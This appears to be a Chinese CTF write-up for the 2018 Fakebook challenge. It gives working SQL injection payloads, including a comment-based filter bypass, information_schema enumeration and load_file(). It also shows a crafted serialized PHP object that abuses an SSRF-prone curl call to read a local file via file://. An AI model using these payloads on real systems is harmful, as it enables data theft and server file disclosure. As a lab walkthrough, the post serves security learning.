[网鼎杯 2018]Fakebook 1

打开环境
先申请一个账号进去
在这里插入图片描述
没什么头绪,发现admin也能点,进去看看
在这里插入图片描述
在URL上发现了注入点
所以试试sql注入
经过测试发现是数字型
进行字段查询

no=1 order by 4

在这里插入图片描述

no=1 order by 5

在这里插入图片描述
报错,说明只有四个字段
然后进行简单查询
在这里插入图片描述

发现union select被过滤了
最先以为空格被过滤了,所以各种试,然后发现只有这个
//union//select
可以,经过了解,应该是防火墙的原因
再次构造payload

no=0/**/union/**/select 1,2,3,4

在这里插入图片描述
发现回显位为2
然后按照流程查就行了
这个方法很简单

no=0/**/union/**/select%201,database(),3,4
no=0/**/union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=%27fakebook%27
no=0/**/union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27
no=0/**/union/**/select%201,group_concat(no,username,passwd,data),3,4%20from%20users

在这里插入图片描述
其中有个序列化的东西

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:20;s:4:"blog";s:9:"baidu.com";}

这个应该就是data里面的东西了
总感觉少了一些东西,
所以我试了试御剑
发现最基础的东西都忘了
在这里插入图片描述
发现源码泄露了

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

其实这里的代码审计都很简单,看过我博客的都知道我之前审计了很多反序列化的代码审计,所以这里就不一步步来了,就一个点需要注意

 function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;

这里应该存在SSRF漏洞
因为从代码中得知用户在注册填的bolg会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。想着在注册的时候直接利用SSRF漏洞读flag.php,发现不可行,因为注册的时候有正则匹配限制了http(s)协议
然后之前我说为啥爆字段那些东西的时候下面一直给我看绝对路径
原来是这里要结合SSRF漏洞
让我们回过头去看看绝对路径
在这里插入图片描述
所以构造payload

<?php
class UserInfo  {
    public $name = "admin";
    public $age = 20;
    public $blog = "file:///var/www/html/flag.php";
}

$data = new UserInfo();
echo serialize($data);

在这里插入图片描述
使用最终payload

no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

在这里插入图片描述
发现成功绕过,查看源码
在这里插入图片描述
再把flag.txt的内容进行base64解码就能得到flag了
到这里我们之前其实一直忽略了一个点就是blog
因为这个SSRF我才想起它
所以我去找了找 还真有利用这个点的wp
这里给大家推一下
这个博主是用的bp抓post注入,另一种方式可以去看看
然后我在浏览其他博主的wp时
还发现了其实这个题还有个非预期解
因为sql注入没有过滤load_file,直接取得flag
这个方法也不能说取巧,其实也是出题者留下的漏洞
load_file也要知道文件的绝对路径
所以还是不能直接就用的,只能说是没有找到源码的博主
的强制找到的天胡方法,但我相信他还是会走到查询到绝对路径那一步
也就是构造这个payload

no=0/**/union/**/select 1,load_file("/var/www/html/flag.php"),3,4

在这里插入图片描述
然后其实这里非预期解的flag其实还能靠python跑出来
这里就不再论述了
这道题是sql+ssrf+反序列化
希望这篇文章能够帮助你!

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M1kael

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值